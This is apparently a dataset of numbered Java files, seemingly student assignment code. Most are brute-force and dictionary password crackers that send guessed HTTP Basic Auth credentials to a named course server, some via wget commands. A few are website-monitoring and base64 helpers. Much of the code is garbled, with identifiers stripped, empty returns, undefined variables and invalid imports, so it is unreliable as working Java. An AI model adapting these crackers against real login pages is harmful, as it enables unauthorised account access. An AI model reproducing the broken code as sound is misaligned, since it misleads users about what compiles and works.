System.out.println(""Cracking finished at: "" + cal2.getTime().toString()); + Date d3 = new Date(cal2.getTime().getTime() - cal1.getTime().getTime()); + System.out.println(""Total Time taken crack: "" + (d3.getTime())/1000 + "" sec""); + System.out.println(""Total attempts : "" + bruteForce1.getAttempts()); + + }catch(MalformedURLException mue){ + mue.printStackTrace(); + } + + catch(IOException ioe){ + ioe.printStackTrace(); + } + } +}" +086.java,"import java.net.*; +import java.io.*; +import java.*; + + public class BruteForce { + + URLConnection conn = null; + private static boolean status = false; + + public static void main (String args[]){ + BruteForce a = new BruteForce(); + String[] inp = {""http://sec-crack.cs.rmit.edu./SEC/2/index.php"", + """", + """"}; + int attempts = 0; + exit: + for (int i=0;i= bytes.length) { + b2 = 0; + b3 = 0; + pad = 2; + } + else { + b2 = bytes [i++]; + if (i >= bytes.length) { + b3 = 0; + pad = 1; + } + else + b3 = bytes [i++]; + } + byte c1 = (byte)(b1 >> 2); + byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4)); + byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6)); + byte c4 = (byte)(b3 & 0x3f); + encodedString += base64Array [c1]; + encodedString += base64Array [c2]; + switch (pad) { + case 0: + encodedString += base64Array [c3]; + encodedString += base64Array [c4]; + break; + case 1: + encodedString += base64Array [c3]; + encodedString += ""=""; + break; + case 2: + encodedString += ""==""; + break; + } + } + return encodedString; + } + } + +" +111.java," + +import java.io.BufferedReader; +import java.io.FileReader; + +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.UsernamePasswordCredentials; +import org.apache.commons.httpclient.cookie.CookiePolicy; +import org.apache.commons.httpclient.methods.GetMethod; + + + + +public class Dictionary{ + static final String LOGON_SITE_HACKER = DictionaryPropertyHelper.getProperty(""logonSite""); + static final int LOGON_PORT_HACKER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""logonPort"")).intValue(); + static final String cad = ""ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklumnopqrstuvwxyz""; + + static final int USE_PROXY_SERVER = Integer.valueOf(DictionaryPropertyHelper.getProperty(""useProxyServer"")).intValue(); + static final int PROXY_PORT = Integer.valueOf(DictionaryPropertyHelper.getProperty(""proxyPort"")).intValue(); + + static final String PROXY_SERVER = DictionaryPropertyHelper.getProperty(""proxyServer""); + static final String PROXY_USENAME = DictionaryPropertyHelper.getProperty(""proxyUserName""); + static final String PROXY_PASSWORD = DictionaryPropertyHelper.getProperty(""proxypassword""); + + + + static final String GET_METHOD_HACKER = DictionaryPropertyHelper.getProperty(""getMethod""); + static final int NUMBER_OF_GETS_BEFORE_RELEASE = Integer.valueOf(DictionaryPropertyHelper.getProperty(""numberOfGetsBeforeReleaseConnection"")).intValue(); + + + public Dictionary() { + super(); + } + + + + + + public static void main(String[] args) throws Exception { + + String statusLine = "" ""; + int count = 0; + int divValue = 0; + + String userName = """"; + String password = """"; + + + HttpClient client = new HttpClient(); + + if (USE_PROXY_SERVER == 1) { + client.getHostConfiguration().setProxy(PROXY_SERVER, PROXY_PORT); + client.getState().setProxyCredentials(null, null, new UsernamePasswordCredentials(PROXY_USENAME, PROXY_PASSWORD)); + + } + client.getState().setCookiePolicy(CookiePolicy.COMPATIBILITY); + client.getHostConfiguration().setHost(LOGON_SITE_HACKER, LOGON_PORT_HACKER, ""http""); + GetMethod getMethod = new GetMethod(GET_METHOD_HACKER); + + + + + BufferedReader wordFile = new BufferedReader(new FileReader(DictionaryPropertyHelper.getProperty(""dictionaryFile""))); + + while ((password = wordFile.readLine()) != null) { + + + if (validateWord(password)) { + + client.getState().setCredentials(null, null, new UsernamePasswordCredentials(userName, password)); + ++count; + System.out.println("" Counter "" + count + "" Password "" + password); + + divValue = count % NUMBER_OF_GETS_BEFORE_RELEASE; + + if (divValue == 0) { + + + + System.out.println(""Count: ""+ count + "" Div Value: ""+ divValue+ "" Releasing the connection and getting new one""); + getMethod.releaseConnection(); + getMethod = null; + getMethod = new GetMethod(GET_METHOD_HACKER); + + } + + client.executeMethod(getMethod); + + statusLine = getMethod.getStatusLine().toString(); + + + + + + if (statusLine.compareTo(""HTTP/1.1 200 OK"") == 0) { + + + System.out.println(""Found the user name and password for the site. The username is: ""+ userName+ "" and the password is: ""+ password); + + + System.exit(0); + } + + + } + + } + + System.out.println(""Could not find the password!""); + + } + + + + + public static boolean validateWord(String str) { + + + + + boolean isValid = false; + + + if (str.length() > 3) { + return isValid; + } + + for (int i = 0; i < str.length(); i++) { + for (int j = 0; j < cad.length(); j++) { + if (str.charAt(i) == cad.charAt(j)) { + isValid = true; + break; + } + else + isValid = false; + } + if (!isValid) + break; + } + return isValid; + } + + +} +" +118.java," +import java.util.*; +import java.io.*; + +public class Result { + + private String strURL; + + private String strUsername; + + private String strPassword; + + private Date dtTimeStart; + + private Date dtTimeEnd; + + private int iAttempts; + + + public Result(String url, String username, String password, Date startDate, Date endDate, int attempts) { + strURL = url; + strUsername = username; + strPassword = password; + dtTimeStart = startDate; + dtTimeEnd = endDate; + iAttempts = attempts; + } + + + public String toString() { + String output; + + output = ""******************************\n""; + output += ""Password successfully cracked!\n\n""; + output += ""URL: "" + strURL + ""\n""; + output += ""Username: "" + strUsername + ""\n""; + output += ""Password: "" + strPassword + ""\n""; + output += "" Time: "" + dtTimeStart.toString() + ""\n""; + output += ""End Time: "" + dtTimeEnd.toString() + ""\n""; + output += "" Attempts: "" + iAttempts + ""\n""; + output += ""******************************\n""; + + return output; + } + +} +" +073.java," + +public class Execute { + public Execute(String cmdline) { + try { + + String[] cmd = {""//sh"", ""-c"", cmdline}; + Process p = Runtime.getRuntime().exec(cmd); + + p.waitFor(); + } catch (Exception e){} + } +} + +" +225.java," +import java.io.*; +import java.awt.*; +import java.net.*; + +public class BruteForce +{ + public static void main (String[] args) + { + String pw = new String(); + pw = getPassword (); + System.out.println(""Password is: ""+pw); + } + public static String getPassword() + { + String passWord = new String(); + passWord = ""AAA""; + char[] guess = passWord.toCharArray(); + Process pro = null; + Runtime runtime = Runtime.getRuntime(); + BufferedReader in = null; + String str=null; + boolean found = true; + + System.out.println("" attacking.....""); + for (int i=65;i<=122 ;i++ ) + { + guess[0]=(char)(i); + for (int j=65;j<=122 ;j++ ) + { + guess[1]=(char)(j); + for (int k=65 ;k<=122 ;k++ ) + { + guess[2]=(char)(k); + passWord = new String(guess); + String cmd = ""wget --http-user= --http-passwd=""+passWord +"" http://sec-crack.cs.rmit.edu./SEC/2/index.php ""; + try + { + pro = runtime.exec(cmd); + + in = new BufferedReader(new InputStreamReader(pro.getErrorStream())); + found = true; + if((str=in.readLine())!=null) + { + while ((str=in.readLine())!=null) + { + if (str.endsWith(""Required"")) + { + found = false; + } + } + if (found == true) + { + return passWord; + } + } + } + catch (Exception exception) + { + exception.getMessage(); + } + if(k==90) + k=96; + runtime.gc(); + } + if(j==90) + j=96; + } + if(i==90) + i=96; + } + return ""not found""; + } +}" +040.java,"import java.io.*; +import java.util.*; +import java.text.*; + + +public class Dictionary +{ + + + + + private int verbose = 0; + private int scanType = CrackingConstants.casedScan; + private boolean leftThreeCharsOnly = false; + private boolean fullScan = false; + + + + + + + + + + private int passwordsTried = 0; + private int uniqueLetterSequencesTried = 0; + + + public static void main (String args[]) + { + int tIni; + int tFinish; + DateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL); + Dictionary pwForcer = new Dictionary(); + + if(0 < args.length) + { + for(int i = 0; i < args.length; i++) + { + if((args[i].indexOf(""-h"") > -1) || (args[i].indexOf(""-H"") > -1)) + { + System.out.println(""\n-f -F\tgenerates the three leftmost characters of the passwords as in -t/T \nbut also appends the rest of the string ( duplicate checking is with this option).""); + System.out.println(""\n-s -S\tonly tests lower passwords.""); + System.out.println(""\n-t -T\tonly the three leftmost characters of the passwords.""); + System.out.println(""\n-v -V\tprints the passwords as tried.\n""); + return; + } + else if((args[i].indexOf(""-s"") > -1) || (args[i].indexOf(""-S"") > -1)) + pwForcer.scanType = CrackingConstants.simpleScan; + else if((args[i].indexOf(""-v"") > -1) || (args[i].indexOf(""-V"") > -1)) + pwForcer.verbose = CrackingConstants.verboseMode2; + else if((args[i].indexOf(""-t"") > -1) || (args[i].indexOf(""-T"") > -1)) + pwForcer.leftThreeCharsOnly = true; + else if((args[i].indexOf(""-f"") > -1) || (args[i].indexOf(""-F"") > -1)) + pwForcer.fullScan = true; + } + } + + + if (pwForcer.fullScan) + pwForcer.leftThreeCharsOnly = false; + + + System.out.println(""\n\n********************************\n""); + System.out.println(""Starting dictionary run at "" + + longTimestamp.format(new Date())); + if(0 < args.length) + { + String arguments = """"; + for( i =0; i < args.length; i++) + arguments += args[i] + "" ""; + System.out.println(""\nOptions: "" + arguments + ""\n""); + } + if (pwForcer.leftThreeCharsOnly) + System.out.println(""Only the first three letters of each password tried.""); + if(pwForcer.scanType == CrackingConstants.simpleScan) + System.out.println(""Only lower passwords tried.""); + else + System.out.println(""Both lower and upper passwords tried.""); + System.out.println(""\n********************************\n""); + + tIni = System.currentTimeMillis(); + pwForcer.run(); + tFinish = System.currentTimeMillis(); + + if (CrackingConstants.casedScan == pwForcer.scanType) + { + + + + + System.out.println (""\n\n"" + pwForcer.passwordsTried + "" capitalized passwords were tried.""); + System.out.println (""That is "" + pwForcer.uniqueLetterSequencesTried + "" unique passwords were tried.""); + + + } + else + { + System.out.println (""\n\n"" + pwForcer.passwordsTried + "" passwords were tried.\n""); + + System.out.println (pwForcer.uniqueLetterSequencesTried + "" unique passwords were tried.""); + } + + + System.out.println(""\n********************************\n""); + System.out.println(""Finished dictionary run at "" + + longTimestamp.format(new Date())); + System.out.println(""Time taken: "" + ((tFinish - tIni )/1000) + "" seconds""); + System.out.println(""\n********************************""); + } + + + public Dictionary() + { + } + + + private void run() + { + + + String fileName = ""/usr/share/lib/dict/words""; + + LoginAttemptResults results = new LoginAttemptResults(); + LoginAttempt login = new LoginAttempt(); + + CasePasswords casedPasswords = new CasePasswords(verbose); + + + try + { + boolean found = false; + + int lineCount = 0; + + String password = null; + String lastPassword = """"; + BufferedReader in = new BufferedReader(new FileReader(fileName)); + + while((null != (password = in.readLine())) && (!found)) + { + + lineCount++; + + password = password.trim(); + + if("""" != password) + { + if (leftThreeCharsOnly) + { + leftIndex = -1; + midIndex = -1; + rightIndex = -1; + String tail = """"; + + + + if(3 <= password.length()) + { + if (!fullScan) + + + + if(lastPassword.equals(password.substring(0, 3).toLowerCase())) + continue; + else + lastPassword = password.substring(0, 3).toLowerCase(); + char [] passwordChars = password.toCharArray(); + leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); + midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); + rightIndex = CrackingConstants.findIndex(passwordChars[2], 0, CrackingConstants.lowerChars.length); + + + + if ((3 < password.length() ) && (fullScan)) + tail = password.substring(0, 3); + } + else if(2 == password.length()) + { + if (!fullScan) + + if(lastPassword.equals(password.substring(0, 2).toLowerCase())) + continue; + else + lastPassword = password.substring(0, 2).toLowerCase(); + char [] passwordChars = password.toCharArray(); + leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); + midIndex = CrackingConstants.findIndex(passwordChars[1], 0, CrackingConstants.lowerChars.length); + } + else if(1 == password.length()) + { + if (!fullScan) + + if(lastPassword.equals(password.substring(0, 1).toLowerCase())) + continue; + else + lastPassword = password.substring(0, 1).toLowerCase(); + char [] passwordChars = password.toCharArray(); + leftIndex = CrackingConstants.findIndex(passwordChars[0], 0, CrackingConstants.lowerChars.length); + } + else + { + System.out.println(""Empty password from word file.""); + continue; + } + + + if((CrackingConstants.notFound != rightIndex) && ((CrackingConstants.notFound == leftIndex) || (CrackingConstants.notFound == midIndex))) + continue; + if((CrackingConstants.notFound != midIndex) && (CrackingConstants.notFound == leftIndex)) + continue; + + results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried); + found = results.getSuccess(); + passwordsTried = results.getPasswordsTried(); + uniqueLetterSequencesTried++; + } + else + { + results = login.tryPasswords(casedPasswords.createCasedPasswords(password, scanType), passwordsTried); + found = results.getSuccess(); + passwordsTried = results.getPasswordsTried(); + uniqueLetterSequencesTried++; + } + } + } + in.print(); + + + + + } + catch(FileNotFoundException e) + { + System.out.println(""File "" + fileName + "" was not found was unopenable.""); + } + catch(IOException e) + { + System.out.println(""Error "" + e); + } + } + + +} +" +163.java,"package java.httputils; + +import java.io.BufferedOutputStream; +import java.io.FileNotFoundException; +import java.io.FileOutputStream; +import java.io.IOException; +import java.io.OutputStream; +import java.net.MalformedURLException; +import java.sql.Timestamp; +import java.util.Observable; + +public class BruteForce extends Observable +{ + + protected Timestamp start; + protected Timestamp end; + protected String URL = ""http://localhost:8080/secret/index.html""; + protected String userName = """"; + protected String content = """"; + protected int attempts = 0; + protected String password; + protected String fileName; + + public static final char[] letters = + { + 'a', + 'b', + 'c', + 'd', + 'e', + 'f', + 'g', + 'h', + 'i', + 'j', + 'k', + 'l', + 'm', + 'n', + 'o', + 'p', + 'q', + 'r', + 's', + 't', + 'u', + 'v', + 'w', + 'x', + 'y', + 'z', + 'A', + 'B', + 'C', + 'D', + 'E', + 'F', + 'G', + 'H', + 'I', + 'J', + 'K', + 'L', + 'M', + 'N', + 'O', + 'P', + 'Q', + 'R', + 'S', + 'T', + 'U', + 'V', + 'W', + 'X', + 'Y', + 'Z', + ' '}; + + public BruteForce() + { + } + + + public void process() + { + StringBuffer password = new StringBuffer(""aaa""); + + setStart(new Timestamp(System.currentTimeMillis())); + + for (int i = 0; + i < letters.length - 1; + password.setCharAt(0, letters[i]), i++) + { + for (int i2 = 0; + i2 < letters.length; + password.setCharAt(1, letters[i2]), i2++) + { + for (int i3 = 0; + i3 < letters.length; + password.setCharAt(2, letters[i3]), i3++) + { + try + { + attempts++; + + BasicAuthHttpRequest req = + new BasicAuthHttpRequest( + getURL(), + getUserName(), + password.toString().trim()); + setPassword(password.toString()); + setEnd(new Timestamp(System.currentTimeMillis())); + setContent(req.getContent().toString()); + + + if (getFileName() != null && getFileName().length() > 0) + { + createReport(); + } + return; + } + catch (MalformedURLException e) + { + e.printStackTrace(); + return; + } + catch (IOException e) + { + + } + } + } + } + + + setEnd(new Timestamp(System.currentTimeMillis())); + + + } + + + public void createReport() + { + OutputStream os = null; + try + { + os = new BufferedOutputStream( + new FileOutputStream(getFileName(), false)); + os.write(printResult().getBytes()); + } + catch (FileNotFoundException e) + { + e.printStackTrace(); + } + catch (IOException e) + { + e.printStackTrace(); + } + finally + { + if (os != null) + { + try + { + os.close(); + } + catch (IOException e) + { + } + } + } + } + + + public String printResult() + { + StringBuffer s = new StringBuffer(); + + s.append(""** "" + this.getClass().getName() + "" Results **\n\n""); + s.append(""Password: "" + getPassword() + ""\n\n""); + + s.append(""Attempts : "" + attempts + ""\n\n""); + + s.append( + ""Time (seconds): "" + + (getEnd().getTime() - getStart().getTime()) / 1000 + + ""\n\n""); + s.append(""Content: \n"" + getContent() + ""\n\n""); + + return s.toString(); + } + + public String printUsage() + { + StringBuffer s = new StringBuffer(); + + s.append(""** BruteForce proper usage **\n\n""); + s.append( + ""java ..httputils.BruteForce \n\n""); + + return s.toString(); + } + + public static void main(String[] args) + { + BruteForce bruteForce = new BruteForce(); + + if (args.length < 2) + { + System.out.println(bruteForce.printUsage()); + } + else + { + bruteForce.setURL(args[0]); + bruteForce.setUserName(args[1]); + if (args.length > 2) + { + bruteForce.setFileName(args[2]); + } + bruteForce.process(); + System.out.println(bruteForce.printResult()); + } + } + + + + + public Timestamp getEnd() + { + return end; + } + + + public Timestamp getStart() + { + return ; + } + + + public void setEnd(Timestamp timestamp) + { + end = timestamp; + } + + + public void setStart(Timestamp timestamp) + { + time = timestamp; + } + + + public String getURL() + { + return URL; + } + + + public void setURL(String string) + { + URL = string; + } + + + public String getUserName() + { + return userName; + } + + + public void setUserName(String string) + { + userName = string; + } + + + public String getContent() + { + return content; + } + + + public void setContent(String string) + { + content = string; + } + + + public String getPassword() + { + return password; + } + + + public void setPassword(String string) + { + password = string; + } + + + public String getFileName() + { + return fileName; + } + + + public void setFileName(String string) + { + fileName = string; + } + +} +" +232.java,"import java.util.*; +import java.io.*; +import java.*; + +public class WatchDog +{ + public static void main (String [] args) throws Exception + { + executes(""rm index.*""); + executes(""wget http://www.cs.rmit.edu./students""); + + while (true) + { + String addr= ""wget http://www.cs.rmit.edu./students""; + executes(addr); + String hash1 = md5sum(""index.html""); + String hash2 = md5sum(""index.html.1""); + System.out.println(hash1 +""|""+ hash2); + + if (hash1.equals(hash2)) + { + + } + else + { + executes("".~/Assign2/difference.sh""); + executes("".~/Assign2/mail1.sh""); + } + + executes(""rm index.html""); + executes(""cp index.html.1 index.html""); + executes(""rm index.html.1""); + executes(""sleep 86400""); + } + } + + public static void executes(String comm) throws Exception + { + Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"",""-c"", comm }); + + BufferedReader = new BufferedReader(new InputStreamReader(p.getErrorStream())); + + String s; + while(( s = bf.readLine()) != null) + { + System.out.println(); + } + p.waitFor(); + } + + public static String md5sum(String file) throws Exception + { + String s; + String hash= "" ""; + + Process p = Runtime.getRuntime().exec(new String[]{""/usr/local//bash"", + ""-c"", ""md5sum ""+file }); + BufferedReader b = new BufferedReader(new InputStreamReader(p.getInputStream())); + + while((b = bf.readLine()) != null) + { + StringTokenizer word=new StringTokenizer(); + hash=word.nextToken(); + System.out.println(hash); + } + return hash; + + } +} + +" +199.java," + +import java.*; +import java.io.*; +import java.util.*; + +public class Dictionary +{ + public String[] passwds; + public int passwdNum; + public static void main(String[] args) throws IOException + { + Dictionary dic=new Dictionary(); + dic.doDictionary(); + System.exit(1); + } + + void doDictionary() throws IOException + { + Runtime rt=Runtime.getRuntime(); + passwds=new String[32768]; + passwdNum=0; + + time1=new Date().getTime(); + + try + { + File f = new File (""words""); + FileReader fin = new FileReader (f); + BufferedReader buf = new BufferedReader(fin); + passwds[0]=""00""; + System.out.println("" loading words....""); + + { + passwds[passwdNum]=buf.readLine(); + passwdNum++; + }while(passwds[passwdNum-1]!=null); + System.out.println(""Finish loading words.""); + } catch (FileNotFoundException exc) { + System.out.println (""File Not Found""); + } catch (IOException exc) { + System.out.println (""IOException 1""); + } catch (NullPointerException exc) { + System.out.println (""NullPointerException""); + } + + System.out.println("" cracking....""); + for(int i=0;i *""); + System.out.println("" * 1). Uses the default configuration monitor Web Site *""); + System.out.println("" * ----- http://www.cs.rmit.edu./students/ *""); + System.out.println("" * 2). Monitor the Web Site that user specified *""); + System.out.println("" * *""); + System.out.println("" ***********************************************************""); + while (!valid){ + System.out.print(""\nPlease Choose option: ""); + try{ + option = twd.getNumber(); + valid = true; + }catch(Exception e){System.out.println(""Warning! Invalid Input!"" + + e.getMessage()+"" Try again!"");} + if ((option ==1)||(option ==2)) + valid = true; + else{ + System.out.println(""Invalid Input. Try it again!""); + valid = false; + } + } + + if(option == 1){ + + System.out.println(""\n Default Configuration:\n""); + System.out.println(""--> Monitor WebSite: "" + wd.getMonitorURL()); + System.out.println(""--> Monitor Duration: "" + 30*24 + "" hours (30 days)""); + System.out.println(""--> Check Webpage Intervals: "" + wd.getInterval()/(1000*60) + "" minutes (24 hrs)""); + System.out.println(""--> SMTP server: "" +wd.getSMTPServer() + "" Port: "" + wd.getPortnumber()); + System.out.println(""--> MailFrom: "" + wd.getMailFrom()); + System.out.println(""--> MailTo: "" + wd.getMailTo()); + valid = false; + + while (!valid){ + System.out.print(""\n Press EnterKey :""); + try{ + String key = twd.getAnyKey(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + + wd.FirstRead(); + wd.print(); + + } + valid = false; + + if(option == 2){ + System.out.println(""\n Modified the Configuration:\n""); + + while (!valid){ + System.out.println(""> Input the URL of the web : ""); + try{ + spec = twd.getStringInfo(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + valid = false; + + while (!valid){ + System.out.println(""> Input the Monitor Duration :""); + try{ + duration = twd.getNumber(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + valid = false; + + while (!valid){ + System.out.println(""> Input the Interval for Checking Webpage :""); + try{ + interval = twd.getNumber(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + valid = false; + + while (!valid){ + System.out.println(""> Set the Mail Server :""); + try{ + smtpserver = twd.getStringInfo(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + valid = false; + + while (!valid){ + System.out.println(""> Set the Port Number :""); + try{ + port = twd.getNumber(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + valid = false; + + while (!valid){ + System.out.println(""> Set the MailFrom :""); + try{ + mfrom = twd.getStringInfo(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + valid = false; + + while (!valid){ + System.out.println(""> Set the MailTo :""); + try{ + mto = twd.getStringInfo(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + + System.out.println(""\n new Configuration:\n""); + System.out.println(""-> Monitor WebSite: "" + spec); + System.out.println(""-> Monitor Duration: "" + duration + "" hours""); + System.out.println(""-> Check Webpage Intervals: "" + interval + "" minutes""); + System.out.println(""-> SMTP server: "" +smtpserver + "" Port: "" + port); + System.out.println(""-> MailFrom: "" + mfrom); + System.out.println(""-> MailTo: "" + mto); + valid = false; + + while (!valid){ + System.out.print(""\n Press EnterKey :""); + try{ + String key = twd.getAnyKey(); + valid = true; + }catch(Exception e){System.out.println(e.getMessage());} + } + + wd.setMonitorURL(spec); + wd.setMonitorDuration(duration); + wd.setMonitorInterval(interval); + wd.setSMTPServer(smtpserver); + wd.setSMTPPort(port); + wd.setMailFrom(mfrom); + wd.setMailTo(mto); + + wd.FirstRead(); + wd.print(); + } + } +}" +211.java," +import java.io.*; +import java.net.*; + +public class BruteForce +{ + + public static void main(String args[]) + { + StringWriter sw = new StringWriter(); + PrintWriter pw = new PrintWriter(); + int flag=1; + String[] letter = {""A"",""B"",""C"",""D"",""E"",""F"",""G"",""H"",""I"",""J"",""K"",""L"",""M"",""N"", + ""O"",""P"",""Q"",""R"",""T"",""U"",""V"",""W"",""X"",""Y"",""Z"",""a"",""b"",""c"", + ""d"",""e"",""f"",""g"",""h"",""i"",""j"",""k"",""l"",""m"",""n"",""o"",""p"",""q"", + ""r"",""s"",""t"",""u"",""v"",""w"",""x"",""y"",""z"",""""}; + + String urlString = new String(""http://sec-crack.cs.rmit.edu./SEC/2/""); + String thePassword= new String(); + stime = System.currentTimeMillis(); +System.out.println(""""); + for(int i=0; i""+ letter[j]+"" elapsed""); + } + if(flag==0) + break; + else + System.out.println(""letter i ->""+ letter[i]+"" elapsed""); + } + System.out.println(""content is ""+ sw.toString()); + } + }" +096.java," + + + +public class SMTPException extends Exception { + + private String msg; + + public SMTPException(String message) { + msg = message; + } + + + public String getMessage() { + return msg; + } +}" +051.java,"import java.io.*; +import java.net.*; +import java.*; +import java.Runtime.*; +import java.Object.*; +import java.util.*; +import java.util.StringTokenizer; + +public class Dictionary +{ + String uname = """"; + String pword = ""null""; + Vector v = new Vector(); + int runTime; + public void doConnect(String connect, int num) + { + String = connect; + + try + { + URL secureSite = new URL(); + URLConnection connection = secureSite.openConnection(); + if (uname != null || pword != null) + { + + for(int i=num; i> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0000003F ); + out [ outIndex++ ] = alphabet [ bits6 ]; + } + + if ( octetString.length - i == 2 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits24 |=( octetString [ i + 1 ] & 0xFF ) << 8; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x00000FC0 ) >> 6; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + } + else if ( octetString.length - i == 1 ) + { + + bits24 = ( octetString [ i ] & 0xFF ) << 16; + bits6=( bits24 & 0x00FC0000 )>> 18; + out [ outIndex++ ] = alphabet [ bits6 ]; + bits6 = ( bits24 & 0x0003F000 ) >> 12; + out [ outIndex++ ] = alphabet [ bits6 ]; + + + out [ outIndex++ ] = '='; + out [ outIndex++ ] = '='; + } + + return new String ( out ); + } + } + + +" +207.java," +import java.util.*; + + +public class Cracker +{ + private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'}; + private Vector v; + + public Cracker() + { + v = new Vector( 52); + } + public void loadLetters() + { + int i; + + for( i = 0; i < letters.length; i++) + { + String s = new StringBuffer().append( letters[i]).toString(); + v.add( s); + } + } + public Vector getVictor() + { + return ; + } + public void loadPairs() + { + int i,j; + + for( i = 0; i < letters.length - 1; i++) + { + for( j = i + 1; j < letters.length; j++) + { + String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString(); + String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString(); + v.add( s1); + v.add( s2); + } + } + for( i = 0; i < letters.length; i++) + { + String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString(); + v.add( s3); + } + } + public void loadTriples() + { + int i, j, k; + + for( i = 0; i < letters.length; i++) + { + String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString(); + v.add( s4); + } + for( i = 0; i < letters.length - 1; i++) + { + for( j = i + 1; j < letters.length; j++) + { + String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString(); + String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString(); + String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString(); + String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString(); + String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString(); + String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString(); + v.add( s5); + v.add( s6); + v.add( s7); + v.add( s8); + v.add( s9); + v.add( s10); + } + } + for( i = 0; i < letters.length - 2; i++) + { + for( j = i + 1; j < letters.length - 1; j++) + { + for( k = i + 2; k < letters.length; k++) + { + String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString(); + String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString(); + String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString(); + String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString(); + String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString(); + String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString(); + v.add( s11); + v.add( s12); + v.add( s13); + v.add( s14); + v.add( s15); + v.add( s16); + } + } + } + } + + public static void main( String[] args) + { + Cracker cr = new Cracker(); + cr.loadLetters(); + cr.loadPairs(); + cr.loadTriples(); + System.out.println("" far ""+cr.getVictor().size()+"" elements loaded""); + } +} + +" +013.java,"import java.net.*; +import java.io.*; +import java.util.Vector; +import java.util.Date; +import java.security.*; + + + + + + + + + + + + +public class Dictionary { + public static BufferedReader in; + + + public static void main(String[] args) throws Exception { + String baseURL = ""http://sec-crack.cs.rmit.edu./SEC/2/index.php""; + int count=0; + Date date = new Date(); + startTime=date.getTime(); + int LIMITINMINUTES=45; + int TIMELIMIT=LIMITINMINUTES*1000*60; + boolean timedOut=false; + boolean found=false; + + + Vector dictionary=new Vector(readWords()); + System.out.println(""Words in dictionary: ""+dictionary.size()); + + + + + + + + while (found==false && timedOut==false && dictionary.elementAt(count)!=null) { + + Date endDate = new Date(); + endTime=endDate.getTime(); + if (endTime>(TIMELIMIT+startTime)){ + System.out.println(""Timed out""); + timedOut=true; + } + + String password = """"; + + + URL url = new URL(baseURL); + String username=""""; + password = dictionary.elementAt(count).toString(); + + + String authString = username+"":""+password; + String encoding = new misc.BASE64Encoder().encode(authString.getBytes()); + System.out.print(""authString is: ""+authString); + + URLConnection urlConnect=url.openConnection(); + + + urlConnect.setRequestProperty(""Authorization"","" ""+encoding); + + String responseCode = urlConnect.getHeaderField(0); + System.out.print("" Response is: ""); + System.out.println(responseCode); + + if (!responseCode.equals(""HTTP/1.1 401 Authorization Required"")) { + found=true; + } + if (found){ + + System.out.println(""Password is: ""+password); + + } + + Date foundDate = new Date(); + foundTime=foundDate.getTime(); + foundTime=(foundTime-startTime); + System.out.println(""Time taken was : ""+foundTime+"" milliseconds""); + count=count+1; + } + } + + + + + + public static Vector readWords() { + String nextWord; + String lastWord=""""; + Vector dict=new Vector(); + try { + BufferedReader in = new BufferedReader(new FileReader(""words.txt"")); + while ((nextWord = in.readLine())!=null) { + + if (nextWord.length()>3) { + nextWord=nextWord.substring(0,3); + } + + if (!lastWord.equals(nextWord) && nextWord.length()>0){ + lastWord = nextWord; + + + dict.addElement(nextWord); + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + } + } + System.out.println(""File successfully loaded""); + } + catch 